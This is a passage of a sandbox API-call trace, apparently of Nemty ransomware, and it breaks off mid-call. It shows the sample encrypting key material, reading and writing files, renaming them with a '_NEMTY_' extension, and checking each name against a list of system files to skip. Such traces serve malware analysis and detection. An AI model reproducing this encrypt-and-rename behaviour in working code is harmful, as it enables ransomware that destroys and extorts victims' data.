lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0116.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0116.654] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_settings.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0116.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0116.654] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_settings.png", cchWideChar=19, lpMultiByteStr=0x4f9ed58, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_settings.png", lpUsedDefaultChar=0x0) returned 19 [0116.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0116.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340330 [0116.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0116.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401e0 [0116.654] Sleep (dwMilliseconds=0x5) [0116.670] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf9301050, dwHighDateTime=0x1d561e7)) [0116.670] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf9301050, dwHighDateTime=0x1d561e7)) [0116.670] GetLastError () returned 0x5 [0116.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0116.670] GetLastError () returned 0x5 [0116.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0116.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0116.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0116.670] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0116.670] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0116.671] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0116.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63403e8 [0116.671] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63403e8, pcchString=0x653e91c | out: pszString="vGum6RxXGdkh92jOt0BBCPHZdaSSJxYO5OBvefo1dN99j/Nri9BZ/uCksqM4Mkz6\r\nvk76N1+1dpHZ7SO7JFUIclKS6tgyuUzKYRAUXdx24w5Qdur/mu3Pe2FMoO/Em9fs\r\nCpAm+RY7+z+f93/L37pgUyPMjxtI4kWwI+787rLZ0sgx0ge/kL7adUPBsI1iFtzu\r\nd2wqlN21gulE9qOT/i40QjmyXHVZcQoxh2gcDdSXfAwt14iSDB3NnuFFwdv9uoUQ\r\nVel5CMbfbm09uSUS+uoaDK3hvXPIOAtttGLXq0B7tlIhkvbXi1r1TOIQ9t3pf/IU\r\n98TksqhYm+++xEhV8034ng==\r\n", pcchString=0x653e91c) returned 1 [0116.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0116.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0116.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0116.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0116.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63403e8 [0116.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0116.671] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_settings.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_settings.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.671] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0116.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0116.671] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.671] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.680] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.680] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.680] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.680] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.690] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.690] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.690] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.690] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.699] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.699] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.699] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.699] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.709] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.709] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.709] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.709] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.718] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.718] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.718] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.718] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.727] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.727] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.728] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.728] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.737] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.737] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.746] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.746] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.746] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.746] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.756] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.756] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.756] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.756] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.771] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.771] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.771] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.771] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.777] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.777] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.777] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.777] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.783] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.783] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.783] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.783] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63403e8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0116.783] CloseHandle (hObject=0xffffffff) returned 0 [0116.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0116.783] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0116.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0116.784] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0116.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0116.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0116.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63440a0 [0116.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6344158 [0116.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0116.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0116.784] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_settings.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_settings.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_settings.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_settings.png._nemty_kgobjgd_")) returned 0 [0116.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0116.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0116.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0116.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0116.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0116.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0116.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0116.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0116.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0116.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0116.784] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82a05840, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82a05840, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x287e74ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3cfe, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="modern.png", cAlternateFileName="")) returned 1 [0116.784] lstrcmpiW (lpString1="modern.png", lpString2=".") returned 1 [0116.784] lstrcmpiW (lpString1="modern.png", lpString2="..") returned 1 [0116.784] lstrcmpiW (lpString1="modern.png", lpString2="...") returned 1 [0116.784] lstrcmpiW (lpString1="modern.png", lpString2="windows") returned -1 [0116.784] lstrcmpiW (lpString1="modern.png", lpString2="$RECYCLE.BIN") returned 1 [0116.784] lstrcmpiW (lpString1="modern.png", lpString2="rsa") returned -1 [0116.784] lstrcmpiW (lpString1="modern.png", lpString2="NTDETECT.COM") returned -1 [0116.784] lstrcmpiW (lpString1="modern.png", lpString2="ntldr") returned -1 [0116.784] lstrcmpiW (lpString1="modern.png", lpString2="MSDOS.SYS") returned -1 [0116.784] lstrcmpiW (lpString1="modern.png", lpString2="IO.SYS") returned 1 [0116.784] lstrcmpiW (lpString1="modern.png", lpString2="boot.ini") returned 1 [0116.784] lstrcmpiW (lpString1="modern.png", lpString2="boot.ini") returned 1 [0116.785] lstrcmpiW (lpString1="modern.png", lpString2="AUTOEXEC.BAT") returned 1 [0116.785] lstrcmpiW (lpString1="modern.png", lpString2="ntuser.dat") returned -1 [0116.785] lstrcmpiW (lpString1="modern.png", lpString2="desktop.ini") returned 1 [0116.785] lstrcmpiW (lpString1="modern.png", lpString2="CONFIG.SYS") returned 1 [0116.785] lstrcmpiW (lpString1="modern.png", lpString2="RECYCLER") returned -1 [0116.785] lstrcmpiW (lpString1="modern.png", lpString2="BOOTSECT.BAK") returned 1 [0116.785] lstrcmpiW (lpString1="modern.png", lpString2="bootmgr") returned 1 [0116.785] lstrcmpiW (lpString1="modern.png", lpString2="programdata") returned -1 [0116.785] lstrcmpiW (lpString1="modern.png", lpString2="appdata") returned 1 [0116.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0116.785] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0116.785] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern.png", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modern.png", lpUsedDefaultChar=0x0) returned 10 [0116.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0116.785] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0116.785] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern.png", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modern.png", lpUsedDefaultChar=0x0) returned 10 [0116.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0116.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0116.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0116.785] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0116.785] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern.png", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modern.png", lpUsedDefaultChar=0x0) returned 10 [0116.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0116.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0116.785] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0116.785] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern.png", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modern.png", lpUsedDefaultChar=0x0) returned 10 [0116.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0116.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0116.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0116.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0116.785] Sleep (dwMilliseconds=0x5) [0116.795] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf9431b50, dwHighDateTime=0x1d561e7)) [0116.795] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf9431b50, dwHighDateTime=0x1d561e7)) [0116.795] GetLastError () returned 0x5 [0116.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0116.795] GetLastError () returned 0x5 [0116.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0116.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0116.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0116.795] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0116.795] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0116.795] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0116.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401e0 [0116.795] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401e0, pcchString=0x653e91c | out: 